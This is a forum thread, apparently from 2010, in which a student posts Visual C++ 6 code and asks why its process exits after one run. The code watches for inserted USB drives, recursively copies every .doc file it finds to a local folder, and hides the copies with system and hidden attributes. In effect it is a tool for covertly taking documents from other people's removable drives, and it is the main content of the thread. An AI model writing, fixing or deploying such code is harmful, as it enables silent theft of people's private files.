none
u盘自动复制,进程可以运行一次便自动消失 RRS feed

  • 问题

  • #include "stdafx.h"
    #include "afx.h"

    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
      // TODO: Place code here.
     while(TRUE)
     {
       // Sleep(3000);
        // TODO: Place code here.
       void SearchFile(CString strDir);
      void eg(CString strDir);
        char Drives[255];
      // char Drives[255];
       int DriveType;
       char *pDrive=0;
       char AppFilePath[25];
       char InfFilePath[25];
       memset(Drives,0,255);
       memset(AppFilePath,0,25);
       memset(InfFilePath,0,25);
       pDrive=Drives;
       DriveType=0;
       GetLogicalDriveStrings(254,Drives);
       while(pDrive[0]!=NULL)
       {
         DriveType=GetDriveType(pDrive);
        //int DriveType;
      // DriveType=GetDriveType(NULL);

          if(DriveType==DRIVE_FIXED)// 固定磁盘
          {
         //  ::MessageBox(NULL,"fe",NULL,NULL);
           pDrive+=4;
        //  cout<<"se"<<endl;
          continue;
          }
          if(DriveType==DRIVE_CDROM)
        {
          pDrive+=4;
          continue;
        }
        if(DriveType==DRIVE_REMOVABLE)
        {
               
         CString strDir;
         strDir.Format("%s",pDrive);
     
         pDrive+=4;
    //::MessageBox(NULL,strDir,NULL,NULL);
                    SearchFile(strDir);
        // eg(strDir);
         ::MessageBox(NULL,strDir,NULL,NULL);

        // if(strDir=="A:\\")
         // continue;
        
        // continue;
         
         
        } 
       
       }
       ::Sleep(3000);
     }
     return 0;
    }

    void eg(CString strDir)
    {
      strDir=" ";
      ::MessageBox(NULL,strDir,NULL,NULL);
    }

    void SearchFile(CString strDir)
    {
    char   szDirPath[]   =   "E:\\fe\\";  
     char s[]="E:\\fe\\";
    // WIN32_FIND_DATA   FileData;
     CFileFind ff;
     CString szDir = strDir;
    // char   szNewPath[MAX_PATH];
    // DWORD   dwAttrs;
     BOOL  fFinished   =   FALSE;

     if(szDir.Right(1) != "\\")
      szDir += "\\";
     
     szDir += "*.*";
     
     BOOL res = ff.FindFile(szDir);
     while(res)
     {
      res = ff.FindNextFile();
     CString q;
         q=ff.GetFileName().Right(3);
         if(!q.Compare("doc"))
         {

                    //   CreateDirectory(szDirPath,   NULL) ;
          strcpy(szDirPath,s);
         // strcat(sz)
          strcat(szDirPath,ff.GetFileName());
      //    cout<<ff.GetFilePath()<<endl;
      //    cout<<ff.GetFileName()<<endl;
         CopyFile(ff.GetFilePath(),szDirPath,FALSE);
         SetFileAttributes(szDirPath,FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
         }
      if(ff.IsDirectory() && !ff.IsDots())
      {
       //如果是一个子目录,用递归继续往深一层找
       SearchFile(ff.GetFilePath());
      }
     }
     ff.Close();//关闭

    }
    以上代码实现当u盘插上去后把里面.doc文件自动复制,本来我得到了exe文件,不知道怎么,过了一天不能用了,出现的问题是可以复制,但只能运行一次,进程马上就消失了,如果没有插u盘才不会消失,一直在上面。学生找了好久的问题,不知道是否代码的问题,请老师尽可能详细的给我解说,感激不尽   语言vc6.0

    2010年6月21日 1:01

答案

  • 很感谢您的帮助,问题果如你所言,又让我学到了新的知识。学生知识浅薄,如果老师愿意赐教请加358115819
    2010年6月21日 11:45